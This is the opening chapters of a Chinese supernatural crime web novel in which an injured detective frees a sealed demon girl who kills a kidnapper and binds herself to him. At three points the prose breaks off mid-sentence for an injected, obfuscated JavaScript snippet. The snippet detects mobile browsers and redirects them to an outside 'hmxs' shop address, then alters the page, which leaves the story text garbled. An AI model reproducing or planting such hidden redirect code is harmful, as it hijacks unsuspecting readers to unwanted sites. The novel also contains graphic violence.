《她靠噬恶念破案》 1. 契约 2020年6月6日,旧西陵医院废址。 “轰隆隆——!” 震耳欲聋的坍塌声毫无预兆地从头顶传来,贺黎筠甚至来得及抬头,整片天花板就劈头盖脸砸了下来。 碎石和钢筋倾泻而下,扬起的尘烟像一场小型的沙暴,席卷了整个废弃医院底层的走廊。 剧痛中,贺黎筠缓缓恢复了意识。 黑暗。 令人窒息的黑暗,夹杂着血腥味与石灰刺鼻的气息。 温热的液体顺着额角流进衣领,他试图移动手臂,却发现上半身被混凝土块压得动弹不得。 断裂的钢管从侧面贯穿了他的腹部,温热的液体从侧腹的伤口不断渗出,右肺也似乎被断裂的肋骨刺穿了,每次呼吸都伴随着难以忍耐的疼痛…… 温热的鲜血在身下汇聚成粘稠的血泊,耳机里传来同事焦急的呼喊,信号时断时续:“贺哥……你那边……发生了什么!怎么有爆炸声!……贺哥!” 贺黎筠的嘴唇颤抖着想要回应,却只吐出一串带血的气泡。 他们追踪了整整三个月的绑架杀人犯,三个月的日夜蹲守,三个月的抽丝剥茧,终于被他堵在了这栋即将拆除的废弃医院里。 却因这该死的坍塌功亏一篑,眼睁睁地看着那个黑影在走廊尽头消失…… 视线再度变得模糊,耳边同事的呼喊声也变得越来越远,取而代之的是自己越来越沉重的心跳声。 “……好饿。” 就在贺黎筠重伤失血过多的时候,他朦朦胧胧地听到一个奶声奶气的声音自废墟下响起。 “疼……” 轻得像是幻觉,却让他的瞳孔骤然紧缩。 他艰难地转动脖颈,看见一只沾满灰尘的小手从废墟缝隙里伸了出来。那手腕细得不可思议,像是长期营养不良的孩童,指甲缝里满是乌黑的泥尘。 那个畜生竟又绑架了一个孩子?! 都怪他们动作太慢…… 这个念头像尖刀般,刺入了贺黎筠濒临涣散的意识。 濒死的神经末梢传来尖锐的疼痛,浓烈的血腥味在口腔里弥漫开来,却远不及这个认知带来的冲击强烈。 三个月前受害者骨瘦如柴的小脸、家属崩溃的哭喊,这一刻全都化作了滚烫的怒火,在血管里疯狂地燃烧。 他来不及思考为什么会有个孩子出现在这片废墟下,残存的警察本能已经先于理智做出了反应——就算要死,也得先救下这个孩子! “别……怕……” 贺黎筠从牙缝里挤出这两个字,被血堵住的喉咙让声音嘶哑得不成样子。 他绷紧着全身肌肉,青筋在额角暴起,竟真的挣开了压在胸口的碎石。混凝土碎块摩擦着伤口,带出更多的鲜血,但他已经感觉不到痛了。 他撑起身体抓住了那只小手。 然而,死神似乎真的要带走他们,坍塌的钢筋竟在此时二次断裂,朝着他们当头劈下。 许是这一刻,肾上腺素飙升到了极致,贺黎筠条件反射地搂住孩子向侧面翻滚。 断裂的钢筋擦着他的后脑勺砸进地面,溅起的碎石在他脸上划出数道血痕。 后背重重地撞在地上,却成功将那个瘦小的身影完全地护在了怀里。 这栋危楼随时都可能会二次坍塌。 他必须要把这个孩子带到安全的地方…… 要撑住…… 至少……撑到救援赶来…… 贺黎筠用尽力气想要挪动身体,却绝望地发现自己的力气已经在方才的爆发中都耗尽了。 他连站都站不起来了。 温热的液体顺着他的下巴滴落在孩子的脸上,分不清是血还是汗。 “这里危险……快……离开这里……” 怀里的孩子却出奇地安静,只有微微颤抖的小手暴露了恐惧。 他要死了,不能陪她一起离开了。 “别怕……坏蛋已经逃跑了……警察叔叔……马上就来了……” 剧痛让贺黎筠的意识开始飘散,他在用最后的力气安抚着怀里的孩子。 直到右手食指突然传来轻微的、被利齿刺穿的疼痛。 他有些懵懵地低头。 全身的剧痛已经让他分不清发生了什么……只见涣散的视线里,自己染血的手指正被个小女孩叼着。 对方鼓着腮帮子吮吸,像是在喝草莓牛奶。 “呸,难吃。”她突然皱眉,嫌弃地吐掉他的手指,他就这样对上了一双在黑暗中莹莹发亮的眼睛。 下一秒,怀里的重量骤然发生变化。 本该是孩童的身躯突然抽长,苍白的手臂如蛇般缠上他的脖颈,冰凉的手指抵住他的喉结。贺黎筠被迫抬头,对上一张美得妖异的面孔。 海藻般凌乱的长发垂落在他染血的领口,她的皮肤白得近乎透明,隐约可见皮下青色的血管。 她眼尾上挑地望着他,那绝不是人类孩童该有的眼神,在幽暗的废墟里泛着诡异的莹光,像午夜浮上海面的磷火,冰冷而嫌弃地注视着他。 “脏死了。” 他已经被这突如其来的重量压得喘不过气来,就见再度模糊的视线里,她轻盈地站起身,像某种深海生物般优雅而诡异地舒展开身体。 然后,他就被踹了一脚。 “喂,不会死了吧。” 刚才抱着她的男人“砰”地一声栽倒在地,薛宓撇撇嘴,又补了两脚,见对方毫无反应,这才慵懒地伸了个懒腰。 终于……从这该死的封印里逃了出来! 被封印千年的身躯僵硬如朽木,薛宓贪婪地深吸着久违的自由空气,眼底猩红的光芒忽明忽暗。 复仇的渴望在胸腔里翻涌,但现在的她太虚弱了,连维持人形都很勉强。 就在这时,一丝微弱的呼吸声引起了她的注意。 与此同时,医院另一端的走廊里,王姜成正蹑手蹑脚地折返。 三个月前,他绑架赵氏集团独子赵宏索要赎金。 他盯上赵宏已经整整半年。这个体弱多病的富家少爷每周三都会去私人医院复诊,保镖们松懈的安保让他轻易得手。 按照惯例,他在暗网用加密邮箱发去勒索信,开价十亿,谁知,赵家竟为了谁出赎金争吵不休,还一直与他讨价还价。 最后谈判了七日,只拿到了六亿元赎金。 王姜成并非嗜杀之人。前两次绑架,拿到赎金后他都如约放人。那些富豪顾及颜面,连警都不敢报。 但这次不同。等他打开笼子时,那个娇生惯养的少爷竟承受不住这样的惊吓和恶劣环境,在笼子里已没了呼吸! 赵家发现孩子死后立刻报了警。警方调取了全市监控,很快就锁定了他的活动范围。这三个月他东躲西藏,直到今晚被那个该死的条子堵在这座废弃医院里。 幸好,他早有准备。 凭借化学专业的背景,王姜成提前自制了炸弹。只是刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16472507|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才的爆炸太过仓促,那笔巨额赎金还藏在底楼的储物间里。 “该死的条子……”他咒骂着,攥紧手中的弹簧刀,警惕地扫视着四周的废墟。 若那条子还活着…… 就在这时,前方的废墟中传来细微的响动。 王姜成屏住呼吸,却看见一个纤细的身影从废墟中缓缓走出。 竟是个美得惊人的年轻女人! 海藻般的长发披散在暗红色的纱裙上,那身装束分明是古代的样式,她甚至赤足踩在碎石上,但因为光线幽暗,王姜成并未看清细节,也根本没有细想。 他反而露出狞笑,蹑手蹑脚地靠近。 天助我也! 完美的肉票,还是个漂亮女人,正好用来要挟那些该死的条子。 他舔了舔干燥的嘴唇,肾上腺素在血管里奔涌。 然而,就在他举起小刀准备挟持的瞬间…… “噗嗤。” 王姜成的动作骤然僵住。他难以置信地低头,看见一只苍白的手插入了他的胸膛,那只手优雅地转了转,像在确认什么似的轻轻握了握。 “找到啦~” 本该背对着他的年轻女人诡异地扭过头来,那双漂亮的眼睛泛着捕食者般的猩红,望着他眼眉弯弯,勾起一抹灿烂的微笑。 “唰——” 随着手臂抽回,王姜成的胸口炸开一朵血花。 血瞬间喷洒了出来,她歪着头欣赏着掌心里还在抽搐的心脏,锋利的指甲不知何时已恢复圆润,断裂的血管像水母触须般微微地颤动。 这个男人身上满是浓烈的恶念,这颗暗红色的脏器上,竟也缠绕着浓稠的黑雾。可见生前,是个作恶多端的歹人。 真恶心。 鲜血顺着她瓷白的手臂流淌,在肘关节处滴落,脸上露出明显的嫌恶。 她随手将心脏往地上一扔,正要离开时,胸口突然传来撕裂般的剧痛。 薛宓踉跄着扶住墙壁,惊恐地发现自己的手臂竟开始变得透明。她猛地转头看向废墟中昏迷的男人,就见那股熟悉的血气正从伤口处丝丝缕缕地飘散。 她快步折返,随着距离缩短,透明的身躯果然重新凝实。 ——是他的血。 千年前那场封印,竟被这个濒死人类的血液融开了一道裂隙。而现在,她被迫与他结缔了因果契约。 在契约解除前,他不能死。 真麻烦……薛宓咬牙切齿地低咒,一把揪住男人染血的衣襟。 “啪!” 毫不客气地拍打男人的脸颊。 贺黎筠在剧痛中听见了自己重新跳动的心音。 “你快死了。” 映入眼帘的是一颗沾满尘土的心脏。 血腥味再度变得浓烈,它在她掌心上噗通跳动,温热的血珠溅在他干裂的唇上。 女人将心脏凑得更近,修长的手指轻轻刮蹭着他的下巴。 “鲜活的,要吃吗?” 她歪头露出天真又残忍的笑容:“别嫌弃啊,虽然是从垃圾身上摘的……”海藻般的长发随着动作滑落,她伸手擦了擦上面的尘土和血迹,“但你失血过多,不想死的话……” 贺黎筠想要说话,但气管里涌上的血沫却堵住了所有的声音。 在陷入黑暗前的最后一刻,他看见女人突然凑近,冰凉柔软的唇贴上了他染血的嘴角…… “乖,咽下去。” 他彻底陷入了黑暗。 2. 愿望 “滴——滴——滴——” 不知过了多久,贺黎筠费力地掀开沉重的眼皮。 病房过亮的顶灯刺得他眼睛一阵锐痛,左手打着石膏悬在胸前,胸腔被厚厚的绷带紧紧缠绕……身体像是灌满了铅,陌生得不属于自己。 刚才……似乎做了一个极其离奇的梦…… “贺哥!你醒了!老天,你可算醒了!”嘶哑的惊呼声炸响在耳边,贺黎筠艰难地侧过头,只见楚子琦顶着两个硕大的黑眼圈扑到床前,声音发颤道,“你昏迷了整整一天!可吓死我们了!” 他喉结滚动了一下,干裂的嘴唇翕动着,挤出嘶哑的音节:“王姜成……” “死了!”楚子琦攥紧拳头,咬牙切齿道,“那畜生是化工专业的,早就在医院里埋了炸药!法证在现场发现了□□……” 王姜成……死了? “我们在底楼储物间搜出六亿现金,他就死在储物间外面,胸口被钢筋捅了个对穿。这畜生肯定是想带着钱跑路,结果老天开眼,二次坍塌直接把他钉死在那儿,心脏还整个掉在了外面,摔得稀巴烂。真是活该!” 那个海妖般的女人,那颗跳动的心脏…… 梦境里的画面不受控制地浮现,与眼前残酷的现实骤然重叠。贺黎筠的太阳穴突突直跳,眉头下意识地紧锁。 “要我说这种畜生还做什么尸检,纯属浪费公共资源!直接结案得了!” 王姜成,是绵市人。早在1997年就制造了震惊全国的连环金铺劫案。六家金店,五百多万的珠宝,这个恶魔像逛超市一样洗劫一空。 最猖狂的是同年7月,他竟敢带人抢劫机场的运钞车,成功劫走1.6亿现金。但令人匪夷所思的是,后来他被警方抓获,法庭竟以证据不足为由,将他无罪释放。 经此一役,王姜成安分守己了一段时间。但谁都没想到,在如今这个天网密布、法治森严的时代,他竟还胆大包天地来到青江市作案! 他专挑青江市的富豪下手,绑架、勒索、交人,形成了专业的团队。要不是这次受害者遇害,家属及时报警,这个恶魔还要继续逍遥法外下去。 但也正是因为当年那个荒谬的判决,让一个贪婪的抢劫犯蜕变成了冷血的杀人魔。从金铺劫案到机场运钞车,再到如今的连环绑架案,每一次成功都在助长这个恶魔嚣张的气焰。 最为讽刺的是,真的将王姜成缉拿归案,按照绵市与青江市的引渡协议,这个恶魔大概率会被遣返绵市受审。 而绵市早在二十年前就废除了死刑。 无论犯下何等滔天罪行,最高刑罚都不过是终身监禁。 所以,他们才必须要在王姜成偷渡回绵市前将他抓捕。尽可能地将他交由仍保留死刑的青江市司法机关审判,才能确保这个畜生得到应有的惩罚。 没想到,人就这么死了。 ——倒也算死得其所。 楚子琦咬了咬牙,强压下怒火,转而叮嘱道:“贺哥,下次别再一个人行动了!这次算你福大命大,整片天花板砸下来,居然只是肋骨骨折加左手骨裂。” 他指了指悬吊的石膏,语气里带着后怕:“连主治医生都说,你能活下来简直是医学奇迹。” 得知贺黎筠苏醒,护士们立即围拢到病床前。 为首的护士利落地揭开旧纱布,贺黎筠下意识绷紧腹肌,却意外地没有感受到预期的疼痛。 腹部的贯穿伤已经结了层暗红的血痂,贺黎筠盯着那道狰狞的伤口,眉头紧锁。 他清楚地记得,钢筋贯穿身体的剧痛,血液汩汩涌出的粘稠触感,还有逐渐模糊的意识,以及生命随着鲜血流失的绝望感……那种程度的伤势,按理说绝不可能只是单纯的骨折。 “对了,那个你护住的孩子,还在昏迷中。”护士们完成检查后陆续离开病房,楚子琦突然想起什么,语气稍缓,“医生说没受什么伤,可能是惊吓过度,或者脑部受到轻微震荡才没醒来。不过生命体征很稳定,应该很快就能苏醒。” 当时救援队冲进废墟,发现贺黎筠身下护着一个瘦小的身影。那小女孩约莫七八岁,衣衫褴褛,苍白得像个纸人,身上却奇迹般地只有几处擦伤。 “王姜成这个畜生,逃亡路上竟也绑架了一个小孩!那孩子瘦得皮包骨,一看就是营养不良,幸好……幸好贺哥你及时找到了他们,那孩子倒也是命大……” 楚子琦的拳头不自觉地再次攥紧,理所当然地认为,定是贺黎筠在坍塌瞬间用身体护住了孩子,才让那具小身躯免于被钢筋碎石碾碎的命运。 而那该死的王姜成,竟想把他们全部炸死!这么就被砸死了,简直是太便宜他了! 就在这时,隔壁病床传来了一声微弱的呻吟。 “小妹妹,怎么了?哪里不舒服?叔叔这就叫医生来!” 楚子琦一个箭步冲到隔壁床前,手忙脚乱地按下呼叫铃,又等不及地冲出门外大喊:“医生!医生快来看看这个孩子!” 贺黎筠这才注意到,楚子琦口中他救下的小孩就躺在他隔壁病床,此刻,正套着过于宽大的蓝色病号服,痛苦地蜷缩在病床上。 干枯如稻草的头发贴在汗湿的额头上,那小小的身影看起来十分瘦弱,正抱着肚子缩成虾米状,而床边挂了一串空了的营养液袋子。 就在贺黎筠的目光落在她苍白的小脸上时,小女孩突然睁开眼睛,那双正常的深棕色瞳孔水汪汪地对上了自己,贺黎筠一怔,就见小女孩对着他吐了…… 黑褐色的呕吐物四溅一地,紧接着赶过来的医护人员迅速拉上隔离帘,挡住了他的视线。 “细菌培养加急,血常规复查,再排查过敏原、重金属含量。”主治医师皱眉嘱咐着。 “小妹妹别怕。这位护士抽血经验丰富,不痛的。” 帘子再次拉开时,小女孩已经虚弱得像张透明的纸,惨白的脸色衬着乌青的唇,细瘦的手腕上又输起了液。 医护人员离去后,呕吐呕到虚脱的薛宓蜷缩着幼小的身体默默咬牙:果然脏东西不能乱吃! 就在这时,她突然感受到一股强烈的视线,不满地转头,就见隔壁床上的男人还在看自己。 想到自己吐了一地的狼狈模样全被这人看去,她虚弱地龇牙,凶凶地瞪他:看什么看! 要不是这男人快死了,心脏越跳越弱,她也不会捡着那颗好不容易净化过的心脏凑过去让他尽快补补,结果这人连吞咽的力气都没有。 情急之下,她只能先吞噬另一个人的灵魂,再将那具尸体上缠绕的所有黑雾吞噬殆尽,才成功将体内仅存的那点本源力量,硬生生剥离出来,渡入他汩汩流血的伤口。 结果现在好了,她不仅耗尽了自己的力量,还被反噬了! 刚才还被一群人按着,抽了四管子的血! 真是气死她了! 薛宓气得把被子蒙过头顶。 “小妹妹要喝水吗?”楚子琦见那孩子被贺哥看一眼就慌忙地躲进被子里,连忙轻轻地坐到她床边,声音放得格外温柔。 见被团纹丝不动,他继续耐心询问:“小妹妹,你记不记得爸爸妈妈的电话号码?家住在哪里呀?叔叔帮你找爸爸妈妈过来。” 其实他们早就查过,这三个月,全市根本没有报儿童失踪的案件。 更诡异的是,当时救出这孩子时,她身上那件衣服破破烂烂的。在给孩子换上医院病号服后,换下的衣服竟离奇地消失了。护士们翻遍整个病房都没找到,导致现在连张像样的照片都没有,寻人启事都发不出去。 被窝里传来窸窸窣窣的动静,半晌,一只苍白的小手慢吞吞地掀开被子一角。 薛宓露出半张脸,湿漉漉的眼睛里盛满迷茫:“我……我不记得了……” 她的声音细若蚊呐,手指不安地绞着被角:“叔叔,你是谁?我为什么会在医院……” “叔叔是警察。”楚子琦连忙掏出警官证,声音不自觉地又放柔了几分,“你还记得自己叫什么名字吗?” 他边说边轻轻掖了掖被角。 病床上的小女孩茫然地摇了摇头,细软的发丝随着动作轻轻晃动,露出苍白的小脸。 “那记得这个人吗?”楚子琦从手机里调出一张王姜成的通缉照片。 薛宓的眼神突然变得惊恐,整个人往被子里缩了缩,只露出一双泛红的眼睛,却还是坚定地摇头:“我、我不记得……”她声音突然带上哭腔,“但一看到这张脸就好害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16472508|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕……他是谁……” “他是绑架你的大坏蛋。”楚子琦连忙把照片收起来,轻轻拍了拍被团,“不过小妹妹别怕,坏人已经死了。你要是想起什么,随时告诉叔叔。” 他转头对贺黎筠使了个眼色,用口型无声地说:“典型的创伤后失忆。” 贺黎筠眉头微蹙,点点头道:“去调一下全市小学的校服图册?说不定有这孩子熟悉的……” “我记得这个叔叔!” 清脆的童声突然打断了贺黎筠未完的话。只见小女孩从被窝里探出半个身子,纤细的手指直直地指向自己。 “当时我被压在废墟下面,是这个叔叔救了我!”她苍白的脸上浮着一丝血色,眼睛亮晶晶的,“叔叔,你有什么心愿吗?我想报答你!” 和她结缔契约的男人,现在也很虚弱,随意吸血补充力量,万一把人弄死了怎么办…… 更何况…… 薛宓悄悄攥紧了病号服下摆。 这个千年后的世界处处透着诡异,那个会发光显示人脸的长方盒子,她身旁会滴滴叫的铁皮箱子,还有这个让她极度不适的房间……在没有恢复实力前,她必须谨慎行事。 这样想着时,薛宓也在悄悄地打量着眼前的男人。 才发现,这个叫“贺黎筠”的男人长得倒是还挺好看的。 失血过多的苍白,衬得他眉目清俊,鼻梁高挺。 冷峻的侧脸线条在灯光下格外分明,只是皱眉说话的时候,唇形极好的薄唇微抿着,严肃又冷漠。 看上去好凶呢。 就见下一秒,他嘴角挤出一个僵硬又温柔的笑容:“小妹妹,我希望你能早日找到家人。” “……” 晚上,探视的同事一一离去后,病房里终于安静了下来。 被诊断为“急性肠胃炎”的薛宓刚输完液,就一把扯掉了手背上的针头。 她赤着脚走到贺黎筠床前,发现他正专注地看着那个会发光的长方盒子。 “真的没有其他愿望吗?”她坐在床沿,双腿轻轻地晃了晃,“什么都可以哦,我什么都能帮你实现。” 贺黎筠办案多年,见过太多受创的孩子。他们或歇斯底里,或沉默寡言,但从未见过这样——近乎诡异的平静。 在经历绑架创伤失忆后,这个瘦小的女孩只有最初抽血时有过激烈的挣扎,其余时间都异常的安静。 没有哭闹,没有恐惧,甚至从不提起父母。 除了执着地问他要什么愿望外,她安静得像个精致的人偶。 他忍不住伸手揉了揉那颗探过来的小脑袋。 营养不良的身体,看似干枯的头发却意外地柔软顺滑,摸起来就摸小动物似的。 贺黎筠在心里想着。 然后他就被白了一眼。 小姑娘嫌弃地后退开,像是露出本性一般瞪了他一眼,贺黎筠不禁微扬了扬嘴角。 冷峻的面容因为这个细微的表情而柔和了几分。他微微俯身,与病床上的小女孩平视,声音放得极轻:“真的什么愿望都能达成吗?” 话音未落,那双深棕色的眼睛瞬间亮了起来,她急切地往前倾了倾身子,像是生怕错过他的愿望。 那双过分明亮的眸子直直望进他的眼底,贺黎筠下意识放柔了语调,带着几分生疏的哄孩子的语气:“那叔叔希望你能想起自己的名字。” “……” 薛宓歪着头,用一种古怪的眼神打量着他:“你确定……就这个愿望?”她的声音里带着难以置信的迟疑。 “嗯。” “我叫薛宓。”小女孩突然板起脸,一本正经地宣布,“你的愿望我已经达成,现在你我两不相欠。” 贺黎筠一愣。他还没从这个突如其来的回答中回过神,就见对方已经抓着他没受伤的手臂,嗷呜一口,咬了下去。 他条件反射地立刻抽手,倒不是担心自己被咬伤,而是怕自己皮糙肉厚会把小姑娘的牙齿硌坏。 而咬了一口想要解除契约的薛宓也懵逼了。 尖锐的犬齿刺破皮肤,鲜血的味道在舌尖漫开…… 她明明已经完成了他的愿望,为什么他们之间的因果还是没有解除??? 3. 装乖 眼前的小女孩保持着咬人的姿势骤然僵住了。她慌乱的眼睛瞪得圆圆的,最终变成了难以置信的震惊。 “怎么了?”贺黎筠顾不上手臂的伤口,下意识伸手想要查看她的情况,“是不是牙疼……” “不可能!”薛宓后退一步,声音变了调,“我明明已经……” 她的目光落在贺黎筠渗血的手臂上,猛然意识到,这个人类的愿望,根本不是“知道她的名字”那么简单。 “你骗我。”她小脸绷得紧紧的,声音突然冷了下来,带着不属于孩童的寒意,“你心里真实的愿望,根本不是知道我的名字。” 贺黎筠微微一怔。眼前这个方才还乖巧可人的小女孩,此刻像是变了一个人似的。 “我没失忆,也不是小孩。”薛宓咬牙切齿地逼近,纤细的手指攥紧了病床栏杆,“只是力量耗尽才变成这样。说清楚,你到底想要什么?” 她刻意释放出一丝威压,本以为会看到对方惊慌失措的表情。谁知,贺黎筠却当着她的面,面色凝重地按下了呼叫铃。 “护士站,2床的患儿出现了一些精神症状。” 他举起自己被咬伤的手臂,对着闻讯赶来的医护人员快速解释了一番刚才发生的事情:“突发躁狂症状,伴有被害妄想和攻击行为,结合先前的呕吐症状,很可能是脑出血。” 他的声音异常平静,仿佛在汇报某个寻常案件的现场勘查。 眼见那群白衣人又围了上来,薛宓瞬间收敛了所有异样,又变回那个人畜无害的小女孩。她乖巧地任由护士检查,甚至在测血压时还软软地说了声“谢谢姐姐~”。 睫毛扑闪的样子任谁看了都会心软。 但这次装乖没能蒙混过关。她还是被护士抱上轮椅,推去做一个所谓的全套脑部检查。 那些人类似乎真信了那个男人的话,怀疑她是脑出血导致的异常行为。 当病房终于重归寂静,贺黎筠望着空荡荡的隔壁病床,犹豫了片刻后还是开口:“宋医生,我昏迷前似乎看到了一些……不合常理的景象。我看见一个女人,手里拿着一颗心脏……” 年迈的主治医师露出了然又宽容的微笑:“幻视是失血性休克的常见症状。贺警官,你现在最需要的是好好休息。” 做完检查的薛宓,整个人都蔫得像霜打的小白菜。 他们把她推进一个巨大的白色圆筒机器里,四周响起各种诡异的“轰隆”声和“咔嗒”声,吵得她脑仁疼。 她本能地挣扎起来,耳塞被甩飞出去,那些可怕的噪音更加肆无忌惮地往她敏锐的耳朵里钻。 结果因为乱动,又被延长了关押时间,手脚还被捆绑了起来。 轮椅上的约束带刚一松开,薛宓就像只炸毛的猫一样蹿回病床,把被子往头上一蒙,整个人愤怒地蜷成一团。 她灵敏的耳朵却捕捉到了护士刻意压低的嗓音:“贺警官,CT和MRI都没问题,但做检查时患儿情绪极度激动……宋医生诊断是创伤后应激性精神障碍,初步考虑……精神分裂症可能。你千万别刺激她,尽量……顺着她的话说。” 薛宓虽然听不懂“精神分裂”是什么意思,但听那女人瞬间小心翼翼的语气就知道——肯定不是什么好词! 听到关门声,薛宓立刻掀开被子探出头,望着贺黎筠楚楚可怜道:“叔叔对不起……我刚才不是故意凶你的,只是太想知道你的愿望了……你能不能告诉我……你告诉我后,我就不缠你了……” 贺黎筠本打算顺着护士的建议敷衍过去,可对上那双亮晶晶的目光,话到嘴边竟鬼使神差地变成了:“我想找到杀父仇人。” 他苦笑道:“我爸在我九岁那年被人杀害。这些年我一直在找凶手,但……”他声音低了下去,“可能早就死了,也可能在哪个监狱里服刑。” 这是贺黎筠第一次主动对人提起这件事。说完他才惊觉,自己竟对一个素不相识的小女孩吐露了埋藏十五年的心结。 而这个小孩子无论如何都无法完成的愿望,也算是断了她总是追问的心。 谁知却见,小姑娘眼睛一亮,竟突然赤脚跳下床,啪嗒啪嗒跑到他的床边。 “你的愿望,我收到了。”冰凉的小手按在他额头上,带着某种庄严的仪式感,“我一定会为你找到凶手的。” 喜悦溢上眉梢,薛宓心满意足地躺回床上。 然而还没等她盘算好计划,就被突如其来的护士按住了屁股。 酒精棉冰凉地擦过皮肤,下一秒,针头毫不留情地扎了进来。 薛宓:“!” 护士一离开,她就速度吐掉了舌下的药片,但那一针镇静剂还是让她昏昏沉沉地陷入了黑暗…… 为了不再被拖去做各种检查,也为了避免再挨针吃药,接下来的养病日子里,薛宓表现得乖巧地不得了。 七日后,她终于获准出院。 一大早,楚子琦提着一个购物袋赶到了医院。他不知道小女孩喜欢什么款式,干脆买了一套最受欢迎的粉色连衣裙和一套印着小熊的休闲装。 薛宓低头扯了扯蓬松的裙摆,小脸皱成一团。 这身粉红色蕾丝连衣裙在她看来简直蠢透了——层层叠叠的纱裙活像个移动的奶油蛋糕,领口的蝴蝶结更是幼稚得令人发指。 要不是为了维持人设…… 薛宓不情不愿地抬起头,对上楚子琦的瞬间切换成甜度满分的笑脸:“谢谢叔叔~” 楚子琦的心都被萌化了! “薛宓小妹妹。”瞧见她乱糟糟的长发被护士梳成乖巧的双马尾,像个漂亮的小天使,他朝她伸出了手,像是在哄幼儿园的小朋友,语气轻快地道,“叔叔带你去支队录个指纹,很快就能找到你的爸爸妈妈啦!” 这七天来,小女孩除了坚称自己叫“薛宓”外,一直没有恢复记忆,而他们查遍了全市小学,走访了各个社区,发了无数寻人启事,也始终没有找到这孩子的任何线索。 只能先把这孩子的指纹录入进系统。如果还是没有家属来认领,这个孩子很可能要被暂时安置在福利院了…… “贺叔叔不和我们一起吗?”薛宓无视对方主动伸来的手,反而在门口东张西望。 “他啊……伤还没好利索,队长特批了三天假,让他回家好好休息。” 实际上,贺黎筠是不想让妈妈担心。这次重伤住院,他瞒着家里只说在跟大案。如今一周没露面,总得先回家报个平安。 然而还没等楚子琦说完,眼前的小天使已经哒哒哒地跑远了。 护士站前,贺黎筠正专注地核对着出院清单,突然感觉衣角被人拽住。一低头,就见穿着粉裙子的漂亮小姑娘眼睛里盈满泪水,像只被遗弃的幼猫,紧抱着他的手臂不放。 “叔叔……”带着哭腔的奶音微微发颤,“你能不能留下来陪我,我害怕……” 贺黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16472509|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筠抬头看向匆匆赶来的楚子琦,用眼神询问他发生了什么。后者无奈地耸耸肩:“我刚说要带她去局里录指纹,她听说你不一起去就……” 话音未落,小姑娘把贺黎筠的手臂抱得更紧了,小脸都憋得通红。 明明住院期间是楚子琦跑前跑后,每天变着花样带零食,晚上还给她读童话故事。可这孩子偏偏只认准了总是冷着脸的贺黎筠,像条小尾巴似的跟前跟后。 要说原因,大概就是雏鸟情结吧。 毕竟在她支离破碎的记忆里,唯一清晰的画面就是贺黎筠在废墟中救她的那一刻。创伤记忆里只留存了这一个画面,自然产生了病理性的依恋。 “叔叔需要回家一趟……”贺黎筠试着抽出手臂,然而刚一动…… “呜哇——!” 紧紧搂着自己的小姑娘就放声大哭了起来。 “呜呜……我什么都不记得……只记得叔叔……” 晶莹的泪珠大颗大颗滚落,薛宓边哭边偷瞄贺黎筠的反应,发现对方还在犹豫,立刻变本加厉地哭嚎起来:“求求你别丢下我……呜呜呜……我、我害怕……害怕自己又变成一个人……” 整个住院部的目光瞬间聚集了过来。 楚子琦手足无措地掏出一张纸巾,贺黎筠则僵在原地。 这位面对持枪歹徒都面不改色的刑警,最终还是被一个小姑娘的眼泪打得溃不成军。他投降似地叹了口气:“别哭了,叔叔陪你一起去刑警支队。” 警车缓缓驶离医院,薛宓整张小脸都贴在了车窗上,鼻尖压得扁扁的。 这是薛宓苏醒后第一次真正离开眼前这座叫“医院”的建筑牢笼。虽然这几日通过病房的窗户,她早已察觉到这个千年后的世界灵气稀薄得令人窒息,但亲眼目睹外界的一切,到处都是陌生的事物,空气还污浊不堪,依旧让她瞳孔地震,无措地四处张望着。 三人抵达刑警支队大楼时,正撞见一场骚动。 一位西装革履的中年男子在一名律师的陪同下走进大厅,他左手腕缠着厚厚的纱布,面色阴沉地对着接待警员说:“林警官,这件事我绝不接受和解!这个疯子刚才持刀闯进我办公室行凶!必须立案!故意杀人罪,让他坐牢!” 他身后,两名民警押解着一个戴手铐的年轻人。那人双眼布满血丝,声音嘶哑地吼道:“陈启瑞你会遭报应的!吴倩是被你害死的!你这个杀人凶手!” “胡说什么!”中年男人突然提高音量打断他,“吴倩自己行为不检点,被公司发现后羞愧离职,跟我有什么关系?警方早就认定她是自杀!” 门口的吵闹让贺黎筠皱起眉来。他不动声色地将薛宓护在身后,带她往楼上走去。 薛宓的余光却扫过中年男人的身后,只见一团黑影正剧烈地扭曲着。 那是个刚去世不久的女鬼,泪水混着发丝黏在惨白的脸上,脖颈上,赫然是一道深紫色的勒痕。 自从力量衰退后,薛宓眼中的鬼影总是朦胧不清,尤其是那个医院里,总有模糊的鬼影飘来飘去,但这只女鬼能在她视野中如此清晰,必然是含着怨气而死的亡魂。 这类含着怨气的亡魂若不好好超度,必会化作没有理智的厉鬼。 就见男人话音刚落,她身上的怨气骤然暴涨。 